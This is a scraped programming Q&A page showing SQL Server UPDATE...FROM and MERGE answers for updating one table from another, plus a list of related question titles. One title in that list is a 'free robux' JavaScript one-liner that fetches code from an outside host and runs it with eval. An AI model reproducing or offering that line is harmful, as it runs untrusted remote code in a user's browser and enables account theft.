/SQL/How do I UPDATE from a SELECT in SQL Server?

How do I UPDATE from a SELECT in SQL Server?

UPDATE     Table_A SET     Table_A.col1 = Table_B.col1,     Table_A.col2 = Table_B.col2 FROM     Some_Table AS Table_A     INNER JOIN Other_Table AS Table_B         ON Table_A.id = Table_B.id WHERE     Table_A.col3 = 'cool'

Source: thecodeteacher.com

How do I UPDATE from a SELECT in SQL Server?

In SQL Server 2008 (or newer), use MERGE

MERGE INTO YourTable T
   USING other_table S 
      ON T.id = S.id
         AND S.tsql = 'cool'
WHEN MATCHED THEN
   UPDATE 
      SET col1 = S.col1, 
          col2 = S.col2;
Alternatively:

MERGE INTO YourTable T
   USING (
          SELECT id, col1, col2 
            FROM other_table 
           WHERE tsql = 'cool'
         ) S
      ON T.id = S.id
WHEN MATCHED THEN
   UPDATE 
      SET col1 = S.col1, 
          col2 = S.col2;

Source: stackoverflow.com

Similar codes

0 vote239 views1 answer
After kill process Failed to start mysqld.service: Unit mysqld.service not found.
SQL
0 vote232 views1 answer
Sql case when exists in another table
SQL
0 vote230 views1 answer
NLS_NCHAR_CHARACTERSET
SQL
2 votes249 views3 answers
Sql server reseed identity column
SQL
0 vote275 views1 answer
How to define a save method in ruby for sqlite3 databases
SQL
1 vote226 views1 answer
Using SQL in rails migration
SQL
27 votes236 views4 answers
Get all tables with column name sql
SQL
1 vote208 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
2 votes239 views1 answer
Sql to char function with date
SQL
1 vote243 views1 answer
Print all records of table in mysql
SQL